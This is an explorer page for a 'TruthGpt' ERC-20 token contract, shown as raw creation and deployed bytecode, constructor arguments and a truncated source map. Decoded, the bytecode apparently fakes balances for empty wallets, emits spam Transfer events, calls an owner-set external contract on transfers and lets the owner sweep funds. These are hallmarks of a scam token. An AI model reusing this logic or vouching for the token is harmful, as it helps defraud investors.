0828403121561153b57600080fd5b610e7e838361136f565b6001600160a01b0381168114610dc557600080fd5b60006020828403121561156c57600080fd5b813561157781611545565b9392505050565b60008060006040848603121561159357600080fd5b833567ffffffffffffffff808211156115ab57600080fd5b6115b7878388016113be565b909550935060208601359150808211156115d057600080fd5b506115dd8682870161142e565b9150509250925092565b600080604083850312156115fa57600080fd5b823561160581611545565b946020939093013593505050565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156116625781516001600160a01b03168752958201959082019060010161163d565b509495945050505050565b8281526040602082015260006116866040830184611629565b949350505050565b600060208083850312156116a157600080fd5b825167ffffffffffffffff8111156116b857600080fd5b8301601f810185136116c957600080fd5b80516116d761144f8261140a565b81815260059190911b820183019083810190878311156116f657600080fd5b928401925b82841015611714578351825292840192908401906116fb565b979650505050505050565b60006020828403121561173157600080fd5b815161157781611361565b60006020828403121561174e57600080fd5b815161157781611545565b634e487b7160e01b600052601160045260246000fd5b60006001820161178157611781611759565b5060010190565b60006020828403121561179a57600080fd5b5051919050565b80820180821115610e8157610e81611759565b8082028115828204841417610e8157610e81611759565b6000826117e857634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a06040820152600061180c60a0830186611629565b6001600160a01b0394909416606083015250608001529392505050565b81810381811115610e8157610e81611759565b60008060006060848603121561185157600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122011a5b6448f51864e291e50aecc68842a0930140090e75c5c76f8bc29753188a964736f6c63430008120033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000038d7ea4c680000000000000000000000000000000000000000000000000000000000000000008547275746847707400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000085472757468477074000000000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061016a5760003560e01c80637cc5b1e6116100d1578063a457c2d71161008a578063dd62ed3e11610064578063dd62ed3e14610461578063f2fde38b14610481578063fc6daaaa146104a1578063fd77c960146104c157600080fd5b8063a457c2d714610401578063a9059cbb14610421578063d0679d341461044157600080fd5b80637cc5b1e6146103135780637d3e3d171461034b5780638187f5161461036b5780638da5cb5b1461038b57806395d89b41146103a95780639af1d35a146103be57600080fd5b80633950935111610123578063395093511461024e57806342966c681461026e5780636accdf941461028e57806370a08231146102be578063715018a6146102de57806379cc6790146102f357600080fd5b806306fdde0314610176578063095ea7b3146101a15780630dd0cc7d146101d157806318160ddd146101f357806323b872dd14610212578063313ce5671461023257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104e1565b60405161019891906114f9565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc36600461155c565b610573565b6040519015158152602001610198565b3480156101dd57600080fd5b506101f16101ec366004611588565b61058d565b005b3480156101ff57600080fd5b506002545b604051908152602001610198565b34801561021e57600080fd5b506101c161022d3660046115aa565b6105a0565b34801561023e57600080fd5b5060405160128152602001610198565b34801561025a57600080fd5b506101c161026936600461155c565b6105c4565b34801561027a57600080fd5b506101f16102893660046115eb565b6105e6565b34801561029a57600080fd5b506101c16102a9366004611604565b60076020526000908152604090205460ff1681565b3480156102ca57600080fd5b506102046102d9366004611604565b6105f3565b3480156102ea57600080fd5b506101f1610631565b3480156102ff57600080fd5b506101f161030e36600461155c565b610645565b34801561031f57600080fd5b50600654610333906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561035757600080fd5b506101f16103663660046115eb565b61065e565b34801561037757600080fd5b506101f1610386366004611604565b610667565b34801561039757600080fd5b506005546001600160a01b0316610333565b3480156103b557600080fd5b5061018b6108ac565b3480156103ca57600080fd5b50600a54600b54600c54600d546103e19392919084565b604080519485526020850193909352918301526060820152608001610198565b34801561040d57600080fd5b506101c161041c36600461155c565b6108bb565b34801561042d57600080fd5b506101c161043c36600461155c565b610936565b34801561044d57600080fd5b506101f161045c36600461155c565b610944565b34801561046d57600080fd5b5061020461047c366004611621565b610a63565b34801561048d57600080fd5b506101f161049c366004611604565b610a8e565b3480156104ad57600080fd5b506101f16104bc366004611604565b610b04565b3480156104cd57600080fd5b506101f16104dc36600461165a565b610b2d565b6060600380546104f0906116ce565b80601f016020809104026020016040519081016040528092919081815260200182805461051c906116ce565b80156105695780601f1061053e57610100808354040283529160200191610569565b820191906000526020600020905b81548152906001019060200180831161054c57829003601f168201915b5050505050905090565b600033610581818585610d26565b60019150505b92915050565b610595610e4a565b600f91909155601055565b6000336105ae858285610ea4565b6105b9858585610b6b565b506001949350505050565b6000336105818185856105d78383610a63565b6105e1919061171e565b610d26565b6105f03382610f18565b50565b6001600160a01b03811660008181526020819052604081205490916106185792915050565b6000811161062857600f5461062a565b805b9392505050565b610639610e4a565b610643600061105d565b565b610650823383610ea4565b61065a8282610f18565b5050565b6105f0816110af565b6009546040805163c45a015560e01b815290516001600160a01b0390921691600091839163c45a0155916004808201926020929091908290030181865afa1580156106b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da9190611731565b60405163e6a4390560e01b81526001600160a01b038581166004830152306024830152919091169063e6a43905906044016020604051808303816000875af115801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e9190611731565b90506001600160a01b03811661083757816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c09190611731565b6040516364e329cb60e11b81526001600160a01b038581166004830152306024830152919091169063c9c65396906044016020604051808303816000875af1158015610810573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108349190611731565b90505b6001600160a01b0381166108865760405162461bcd60e51b81526020600482015260116024820152701c185a5c881a5cc81b9bdd08199bdd5b99607a1b60448201526064015b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff191660011790555050565b6060600480546104f0906116ce565b600033816108c98286610a63565b9050838110156109295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161087d565b6105b98286868403610d26565b600033610581818585610b6b565b6001600160a01b0382166109ec576008546040516000916001600160a01b03169083908381818185875af1925050503d806000811461099f576040519150601f19603f3d011682016040523d82523d6000602084013e6109a4565b606091505b50509050806109e75760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015260640161087d565b505050565b60085460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610a3f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e7919061174e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610a96610e4a565b6001600160a01b038116610afb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087d565b6105f08161105d565b610b0c610e4a565b6001600160a01b03166000908152600760205260409020805460ff19169055565b610b35610e4a565b8051600a556020810151600b556040810151600c5560600151600d55565b600061062a8284611770565b600061062a828461179d565b6001600160a01b038316610bcf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161087d565b6001600160a01b038216610c315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161087d565b610c3c83838361119f565b6001600160a01b03831660009081526020819052604090205481811015610cb45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161087d565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610d208484846112db565b50505050565b6001600160a01b038316610d885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161087d565b6001600160a01b038216610de95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161087d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146106435760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161087d565b6000610eb08484610a63565b90506000198114610d205781811015610f0b5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161087d565b610d208484848403610d26565b6001600160a01b038216610f785760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161087d565b610f848260008361119f565b6001600160a01b03821660009081526020819052604090205481811015610ff85760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161087d565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36109e7836000846112db565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60008060005b83811015610d2057600e546110d5906001600160a01b03166000196117b1565b600e549093506110ef906001600160a01b031660016117d7565b600e80546001600160a01b0319166001600160a01b0392909216918217905561111a906000196117b1565b600e54909250611134906001600160a01b031660016117d7565b600e80546001600160a01b0319166001600160a01b03928316179055600f54604051908152848216918416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a380611197816117fe565b9150506110b5565b600954600160a01b900460ff16156111b657505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b03831660009081526007602052604090205460ff1615801561120b57506001600160a01b03821660009081526007602052604090205460ff16155b80611214575080155b6112c9576001600160a01b03831660009081526007602052604081205460ff16611266576001600160a01b03831660009081526007602052604090205460ff1661125f576000611269565b6002611269565b60015b6006546040516376b4266360e11b815260ff929092166004830181905292506001600160a01b03169063ed684cc690602401600060405180830381600087803b1580156112b557600080fd5b505af19250505080156112c6575060015b50505b50506009805460ff60a01b1916905550565b600954600160a01b900460ff16156112f257505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b038316158061132257506001600160a01b038216155b6112c95761133183838361139e565b601054156112c957601054604051637d3e3d1760e01b815260048101919091523090637d3e3d1790602401600060405180830381600087803b15801561137657600080fd5b505af1925050508015611387575060015b156112c95750506009805460ff60a01b1916905550565b6001600160a01b03831660009081526007602052604081205460ff166113ee576001600160a01b03831660009081526007602052604090205460ff166113e657600c546113f2565b600b546113f2565b600a545b600d5490915060009061140f906114098585610b53565b90610b5f565b6008549091506001600160a01b038681169116148061143b57506008546001600160a01b038581169116145b15611444575060005b6001600160a01b03841660009081526007602052604090205460ff1680156114cb5750836001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c99190611817565b155b156114d4575060005b80156114f2576006546114f29085906001600160a01b031683610b6b565b5050505050565b600060208083528351808285015260005b818110156115265785810183015185820160400152820161150a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105f057600080fd5b6000806040838503121561156f57600080fd5b823561157a81611547565b946020939093013593505050565b6000806040838503121561159b57600080fd5b50508035926020909101359150565b6000806000606084860312156115bf57600080fd5b83356115ca81611547565b925060208401356115da81611547565b929592945050506040919091013590565b6000602082840312156115fd57600080fd5b5035919050565b60006020828403121561161657600080fd5b813561062a81611547565b6000806040838503121561163457600080fd5b823561163f81611547565b9150602083013561164f81611547565b809150509250929050565b60006080828403121561166c57600080fd5b6040516080810181811067ffffffffffffffff8211171561169d57634e487b7160e01b600052604160045260246000fd5b8060405250823581526020830135602082015260408301356040820152606083013560608201528091505092915050565b600181811c908216806116e257607f821691505b60208210810361170257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561058757610587611708565b60006020828403121561174357600080fd5b815161062a81611547565b60006020828403121561176057600080fd5b8151801515811461062a57600080fd5b808202811582820484141761058757610587611708565b634e487b7160e01b600052601260045260246000fd5b6000826117ac576117ac611787565b500490565b60006001600160a01b03838116806117cb576117cb611787565b92169190910492915050565b6001600160a01b038181168382160190808211156117f7576117f7611708565b5092915050565b60006001820161181057611810611708565b5060010190565b60006020828403121561182957600080fd5b505191905056fea2646970667358221220a0ad45e919ee56ce067012f8bc59aabd9d1d89d5d1d387a47180736bed93a23d64736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000038d7ea4c680000000000000000000000000000000000000000000000000000000000000000008547275746847707400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000085472757468477074000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): TruthGpt
Arg [1] : symbol_ (string): TruthGpt
Arg [2] : total_ (uint256): 1000000000000000
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000038d7ea4c68000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 5472757468477074000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [6] : 5472757468477074000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
7512:3650:7:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2154:98:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4431:197;;;;;;;;;;-1:-1:-1;4431:197:1;;;;;:::i;:::-;;:::i;:::-;;;1188:14:8;;1181:22;1163:41;;1151:2;1136:18;4431:197:1;1023:187:8;10082:115:7;;;;;;;;;;-1:-1:-1;10082:115:7;;;;;:::i;:::-;;:::i;:::-;;3242:106:1;;;;;;;;;;-1:-1:-1;3329:12:1;;3242:106;;;1614:25:8;;;1602:2;1587:18;3242:106:1;1468:177:8;5190:286:1;;;;;;;;;;-1:-1:-1;5190:286:1;;;;;:::i;:::-;;:::i;3091:91::-;;;;;;;;;;-1:-1:-1;3091:91:1;;3173:2;2253:36:8;;2241:2;2226:18;3091:91:1;2111:184:8;5871:234:1;;;;;;;;;;-1:-1:-1;5871:234:1;;;;;:::i;:::-;;:::i;578:89:3:-;;;;;;;;;;-1:-1:-1;578:89:3;;;;;:::i;:::-;;:::i;7619:36:7:-;;;;;;;;;;-1:-1:-1;7619:36:7;;;;;:::i;:::-;;;;;;;;;;;;;;;;10202:232;;;;;;;;;;-1:-1:-1;10202:232:7;;;;;:::i;:::-;;:::i;1831:101:0:-;;;;;;;;;;;;;:::i;973:161:3:-;;;;;;;;;;-1:-1:-1;973:161:3;;;;;:::i;:::-;;:::i;7596:17:7:-;;;;;;;;;;-1:-1:-1;7596:17:7;;;;-1:-1:-1;;;;;7596:17:7;;;;;;-1:-1:-1;;;;;2916:32:8;;;2898:51;;2886:2;2871:18;7596:17:7;2737:218:8;10439:75:7;;;;;;;;;;-1:-1:-1;10439:75:7;;;;;:::i;:::-;;:::i;9492:368::-;;;;;;;;;;-1:-1:-1;9492:368:7;;;;;:::i;:::-;;:::i;1201:85:0:-;;;;;;;;;;-1:-1:-1;1273:6:0;;-1:-1:-1;;;;;1273:6:0;1201:85;;2365:102:1;;;;;;;;;;;;;:::i;7825:16:7:-;;;;;;;;;;-1:-1:-1;7825:16:7;;;;;;;;;;;;;;;;;;;3399:25:8;;;3455:2;3440:18;;3433:34;;;;3483:18;;;3476:34;3541:2;3526:18;;3519:34;3386:3;3371:19;7825:16:7;3168:391:8;6592:427:1;;;;;;;;;;-1:-1:-1;6592:427:1;;;;;:::i;:::-;;:::i;3727:189::-;;;;;;;;;;-1:-1:-1;3727:189:1;;;;;:::i;:::-;;:::i;10894:265:7:-;;;;;;;;;;-1:-1:-1;10894:265:7;;;;;:::i;:::-;;:::i;3974:149:1:-;;;;;;;;;;-1:-1:-1;3974:149:1;;;;;:::i;:::-;;:::i;2081:198:0:-;;;;;;;;;;-1:-1:-1;2081:198:0;;;;;:::i;:::-;;:::i;9865:88:7:-;;;;;;;;;;-1:-1:-1;9865:88:7;;;;;:::i;:::-;;:::i;8484:79::-;;;;;;;;;;-1:-1:-1;8484:79:7;;;;;:::i;:::-;;:::i;2154:98:1:-;2208:13;2240:5;2233:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2154:98;:::o;4431:197::-;4514:4;719:10:5;4568:32:1;719:10:5;4584:7:1;4593:6;4568:8;:32::i;:::-;4617:4;4610:11;;;4431:197;;;;;:::o;10082:115:7:-;1094:13:0;:11;:13::i;:::-;10150:15:7::1;:22:::0;;;;10182:4:::1;:8:::0;10082:115::o;5190:286:1:-;5317:4;719:10:5;5373:38:1;5389:4;719:10:5;5404:6:1;5373:15;:38::i;:::-;5421:27;5431:4;5437:2;5441:6;5421:9;:27::i;:::-;-1:-1:-1;5465:4:1;;5190:286;-1:-1:-1;;;;5190:286:1:o;5871:234::-;5959:4;719:10:5;6013:64:1;719:10:5;6029:7:1;6066:10;6038:25;719:10:5;6029:7:1;6038:9;:25::i;:::-;:38;;;;:::i;:::-;6013:8;:64::i;578:89:3:-;633:27;719:10:5;653:6:3;633:5;:27::i;:::-;578:89;:::o;10202:232:7:-;-1:-1:-1;;;;;3506:18:1;;10276:4:7;3506:18:1;;;;;;;;;;;10276:4:7;;10340:37;;10370:7;10202:232;-1:-1:-1;;10202:232:7:o;10340:37::-;10402:1;10394:7;:9;:33;;10412:15;;10394:33;;;10404:7;10394:33;10387:40;10202:232;-1:-1:-1;;;10202:232:7:o;1831:101:0:-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;973:161:3:-;1049:46;1065:7;719:10:5;1088:6:3;1049:15;:46::i;:::-;1105:22;1111:7;1120:6;1105:5;:22::i;:::-;973:161;;:::o;10439:75:7:-;10485:22;10503:3;10485:17;:22::i;9492:368::-;9567:7;;9607:16;;;-1:-1:-1;;;9607:16:7;;;;-1:-1:-1;;;;;9567:7:7;;;;9544:14;;9567:7;;9607:14;;:16;;;;;;;;;;;;;;;9567:7;9607:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9598:65;;-1:-1:-1;;;9598:65:7;;-1:-1:-1;;;;;5827:15:8;;;9598:65:7;;;5809:34:8;9657:4:7;5859:18:8;;;5852:43;9598:34:7;;;;;;;5744:18:8;;9598:65:7;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9585:78;-1:-1:-1;;;;;;9676:16:7;;9673:95;;9709:6;-1:-1:-1;;;;;9709:14:7;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9700:68;;-1:-1:-1;;;9700:68:7;;-1:-1:-1;;;;;5827:15:8;;;9700:68:7;;;5809:34:8;9762:4:7;5859:18:8;;;5852:43;9700:37:7;;;;;;;5744:18:8;;9700:68:7;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9693:75;;9673:95;-1:-1:-1;;;;;9786:16:7;;9778:46;;;;-1:-1:-1;;;9778:46:7;;6108:2:8;9778:46:7;;;6090:21:8;6147:2;6127:18;;;6120:30;-1:-1:-1;;;6166:18:8;;;6159:47;6223:18;;9778:46:7;;;;;;;;;-1:-1:-1;;;;;9835:12:7;;;;;:6;:12;;;;;:17;;-1:-1:-1;;9835:17:7;9848:4;9835:17;;;-1:-1:-1;;9492:368:7:o;2365:102:1:-;2421:13;2453:7;2446:14;;;;;:::i;6592:427::-;6685:4;719:10:5;6685:4:1;6766:25;719:10:5;6783:7:1;6766:9;:25::i;:::-;6739:52;;6829:15;6809:16;:35;;6801:85;;;;-1:-1:-1;;;6801:85:1;;6454:2:8;6801:85:1;;;6436:21:8;6493:2;6473:18;;;6466:30;6532:34;6512:18;;;6505:62;-1:-1:-1;;;6583:18:8;;;6576:35;6628:19;;6801:85:1;6252:401:8;6801:85:1;6920:60;6929:5;6936:7;6964:15;6945:16;:34;6920:8;:60::i;3727:189::-;3806:4;719:10:5;3860:28:1;719:10:5;3877:2:1;3881:6;3860:9;:28::i;10894:265:7:-;-1:-1:-1;;;;;10956:17:7;;10953:198;;11013:3;;11005:35;;10990:12;;-1:-1:-1;;;;;11013:3:7;;11029:6;;10990:12;11005:35;10990:12;11005:35;11029:6;11013:3;11005:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10989:51;;;11063:7;11055:35;;;;-1:-1:-1;;;11055:35:7;;7070:2:8;11055:35:7;;;7052:21:8;7109:2;7089:18;;;7082:30;-1:-1:-1;;;7128:18:8;;;7121:45;7183:18;;11055:35:7;6868:339:8;11055:35:7;10974:128;973:161:3;;:::o;10953:198:7:-;11140:3;;11117:34;;-1:-1:-1;;;11117:34:7;;-1:-1:-1;;;;;11140:3:7;;;11117:34;;;7386:51:8;7453:18;;;7446:34;;;11117:22:7;;;;;;7359:18:8;;11117:34:7;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;3974:149:1:-;-1:-1:-1;;;;;4089:18:1;;;4063:7;4089:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3974:149::o;2081:198:0:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:0;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:0;;7975:2:8;2161:73:0::1;::::0;::::1;7957:21:8::0;8014:2;7994:18;;;7987:30;8053:34;8033:18;;;8026:62;-1:-1:-1;;;8104:18:8;;;8097:36;8150:19;;2161:73:0::1;7773:402:8::0;2161:73:0::1;2244:28;2263:8;2244:18;:28::i;9865:88:7:-:0;1094:13:0;:11;:13::i;:::-;-1:-1:-1;;;;;9927:12:7::1;9940:5;9927:12:::0;;;:6:::1;:12;::::0;;;;:18;;-1:-1:-1;;9927:18:7::1;::::0;;9865:88::o;8484:79::-;1094:13:0;:11;:13::i;:::-;8546:10:7;;:4:::1;:10:::0;::::1;::::0;::::1;::::0;;;::::1;::::0;::::1;::::0;;;::::1;;::::0;;;8484:79::o;3465:96:6:-;3523:7;3549:5;3553:1;3549;:5;:::i;3850:96::-;3908:7;3934:5;3938:1;3934;:5;:::i;7473:818:1:-;-1:-1:-1;;;;;7599:18:1;;7591:68;;;;-1:-1:-1;;;7591:68:1;;8812:2:8;7591:68:1;;;8794:21:8;8851:2;8831:18;;;8824:30;8890:34;8870:18;;;8863:62;-1:-1:-1;;;8941:18:8;;;8934:35;8986:19;;7591:68:1;8610:401:8;7591:68:1;-1:-1:-1;;;;;7677:16:1;;7669:64;;;;-1:-1:-1;;;7669:64:1;;9218:2:8;7669:64:1;;;9200:21:8;9257:2;9237:18;;;9230:30;9296:34;9276:18;;;9269:62;-1:-1:-1;;;9347:18:8;;;9340:33;9390:19;;7669:64:1;9016:399:8;7669:64:1;7744:38;7765:4;7771:2;7775:6;7744:20;:38::i;:::-;-1:-1:-1;;;;;7815:15:1;;7793:19;7815:15;;;;;;;;;;;7848:21;;;;7840:72;;;;-1:-1:-1;;;7840:72:1;;9622:2:8;7840:72:1;;;9604:21:8;9661:2;9641:18;;;9634:30;9700:34;9680:18;;;9673:62;-1:-1:-1;;;9751:18:8;;;9744:36;9797:19;;7840:72:1;9420:402:8;7840:72:1;-1:-1:-1;;;;;7946:15:1;;;:9;:15;;;;;;;;;;;7964:20;;;7946:38;;8161:13;;;;;;;;;;:23;;;;;;8210:26;;1614:25:8;;;8161:13:1;;8210:26;;1587:18:8;8210:26:1;;;;;;;8247:37;8267:4;8273:2;8277:6;8247:19;:37::i;:::-;7581:710;7473:818;;;:::o;10504:370::-;-1:-1:-1;;;;;10635:19:1;;10627:68;;;;-1:-1:-1;;;10627:68:1;;10029:2:8;10627:68:1;;;10011:21:8;10068:2;10048:18;;;10041:30;10107:34;10087:18;;;10080:62;-1:-1:-1;;;10158:18:8;;;10151:34;10202:19;;10627:68:1;9827:400:8;10627:68:1;-1:-1:-1;;;;;10713:21:1;;10705:68;;;;-1:-1:-1;;;10705:68:1;;10434:2:8;10705:68:1;;;10416:21:8;10473:2;10453:18;;;10446:30;10512:34;10492:18;;;10485:62;-1:-1:-1;;;10563:18:8;;;10556:32;10605:19;;10705:68:1;10232:398:8;10705:68:1;-1:-1:-1;;;;;10784:18:1;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10835:32;;1614:25:8;;;10835:32:1;;1587:18:8;10835:32:1;;;;;;;10504:370;;;:::o;1359:130:0:-;1273:6;;-1:-1:-1;;;;;1273:6:0;719:10:5;1422:23:0;1414:68;;;;-1:-1:-1;;;1414:68:0;;10837:2:8;1414:68:0;;;10819:21:8;;;10856:18;;;10849:30;10915:34;10895:18;;;10888:62;10967:18;;1414:68:0;10635:356:8;11155:441:1;11285:24;11312:25;11322:5;11329:7;11312:9;:25::i;:::-;11285:52;;-1:-1:-1;;11351:16:1;:37;11347:243;;11432:6;11412:16;:26;;11404:68;;;;-1:-1:-1;;;11404:68:1;;11198:2:8;11404:68:1;;;11180:21:8;11237:2;11217:18;;;11210:30;11276:31;11256:18;;;11249:59;11325:18;;11404:68:1;10996:353:8;11404:68:1;11514:51;11523:5;11530:7;11558:6;11539:16;:25;11514:8;:51::i;9422:659::-;-1:-1:-1;;;;;9505:21:1;;9497:67;;;;-1:-1:-1;;;9497:67:1;;11556:2:8;9497:67:1;;;11538:21:8;11595:2;11575:18;;;11568:30;11634:34;11614:18;;;11607:62;-1:-1:-1;;;11685:18:8;;;11678:31;11726:19;;9497:67:1;11354:397:8;9497:67:1;9575:49;9596:7;9613:1;9617:6;9575:20;:49::i;:::-;-1:-1:-1;;;;;9660:18:1;;9635:22;9660:18;;;;;;;;;;;9696:24;;;;9688:71;;;;-1:-1:-1;;;9688:71:1;;11958:2:8;9688:71:1;;;11940:21:8;11997:2;11977:18;;;11970:30;12036:34;12016:18;;;12009:62;-1:-1:-1;;;12087:18:8;;;12080:32;12129:19;;9688:71:1;11756:398:8;9688:71:1;-1:-1:-1;;;;;9793:18:1;;:9;:18;;;;;;;;;;;9814:23;;;9793:44;;9930:12;:22;;;;;;;9978:37;1614:25:8;;;9793:9:1;;:18;9978:37;;1587:18:8;9978:37:1;;;;;;;10026:48;10046:7;10063:1;10067:6;10026:19;:48::i;2433:187:0:-;2525:6;;;-1:-1:-1;;;;;2541:17:0;;;-1:-1:-1;;;;;;2541:17:0;;;;;;;2573:40;;2525:6;;;2541:17;2525:6;;2573:40;;2506:16;;2573:40;2496:124;2433:187;:::o;10517:372:7:-;10572:17;10599:13;10636:6;10631:252;10652:3;10648:1;:7;10631:252;;;10703:5;;10696:12;;-1:-1:-1;;;;;10703:5:7;-1:-1:-1;;10696:12:7;:::i;:::-;10731:5;;10676:33;;-1:-1:-1;10731:7:7;;-1:-1:-1;;;;;10731:5:7;;:7;:::i;:::-;10723:5;:15;;-1:-1:-1;;;;;;10723:15:7;-1:-1:-1;;;;;10723:15:7;;;;;;;;;10768:12;;-1:-1:-1;;10768:12:7;:::i;:::-;10803:5;;10752:29;;-1:-1:-1;10803:7:7;;-1:-1:-1;;;;;10803:5:7;;:7;:::i;:::-;10795:5;:15;;-1:-1:-1;;;;;;10795:15:7;-1:-1:-1;;;;;10795:15:7;;;;;;10856;;10829:43;;1614:25:8;;;10829:43:7;;;;;;;;;1602:2:8;1587:18;10829:43:7;;;;;;;10657:3;;;;:::i;:::-;;;;10631:252;;8573:245;7879:9;;-1:-1:-1;;;7879:9:7;;;;7876:21;;;8573:245;;;:::o;7876:21::-;7906:9;:14;;-1:-1:-1;;;;7906:14:7;-1:-1:-1;;;7906:14:7;;;-1:-1:-1;;;;;8679:12:7;::::1;7906:14:::0;8679:12;;;:6:::1;:12;::::0;;;;;7906:14;8679:12:::1;8678:13;:28:::0;::::1;;;-1:-1:-1::0;;;;;;8696:10:7;::::1;;::::0;;;:6:::1;:10;::::0;;;;;::::1;;8695:11;8678:28;:41;;;-1:-1:-1::0;8710:9:7;;8678:41:::1;8721:7;8675:53;-1:-1:-1::0;;;;;8744:12:7;::::1;8737:6;8744:12:::0;;;:6:::1;:12;::::0;;;;;::::1;;:29;;-1:-1:-1::0;;;;;8759:10:7;::::1;;::::0;;;:6:::1;:10;::::0;;;;;::::1;;:14;;8772:1;8744:29;;8759:14;8770:1;8744:29;;;8757:1;8744:29;8787:3;::::0;:14:::1;::::0;-1:-1:-1;;;8787:14:7;;8737:36:::1;::::0;;;::::1;8787:14;::::0;::::1;1614:25: